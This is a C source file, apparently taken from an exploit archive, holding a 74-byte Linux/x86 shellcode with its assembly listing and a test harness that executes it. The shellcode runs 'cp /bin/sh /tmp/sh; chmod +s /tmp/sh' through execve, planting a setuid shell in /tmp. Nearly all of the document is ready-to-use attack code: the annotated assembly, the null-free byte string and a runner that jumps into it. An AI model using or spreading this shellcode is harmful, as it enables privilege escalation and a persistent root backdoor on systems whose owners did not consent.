60 lines
No EOL
1.2 KiB
C
60 lines
No EOL
1.2 KiB
C
/*
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Title: Linux/x86 - cp /bin/sh /tmp/sh; chmod +s /tmp/sh
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Author: absolomb
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Website: https://www.sploitspren.com
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SLAE-ID: 1208
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Purpose: cp shell into /tmp and setuid
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Tested On: Ubuntu 14.04
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Arch: x86
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Size: 74 bytes
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Shellcode is register independent and null free.
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global _start
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section .text
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_start:
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push 0xb ; execve()
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pop eax ;
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cdq ; set edx to 0
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push edx ; NULL
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push word 0x632d ; "c-"
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mov edi,esp ; point edi to stack
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push edx ; NULL
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push 0x68732f2f ; "hs//"
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push 0x6e69622f ; "/bin"
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mov ebx,esp ; point ebx to stack
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push edx ; NULL
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jmp short cmd
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execute:
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push edi ; "c-"
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push ebx ; "/bin/sh"
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mov ecx,esp ; point to stack
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int 0x80 ; execute execve
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cmd:
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call execute
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db "cp /bin/sh /tmp/sh; chmod +s /tmp/sh"
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\xeb\x06\x57\x53\x89\xe1\xcd\x80\xe8\xf5\xff\xff\xff\x63\x70\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x73\x68\x3b\x20\x63\x68\x6d\x6f\x64\x20\x2b\x73\x20\x2f\x74\x6d\x70\x2f\x73\x68";
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |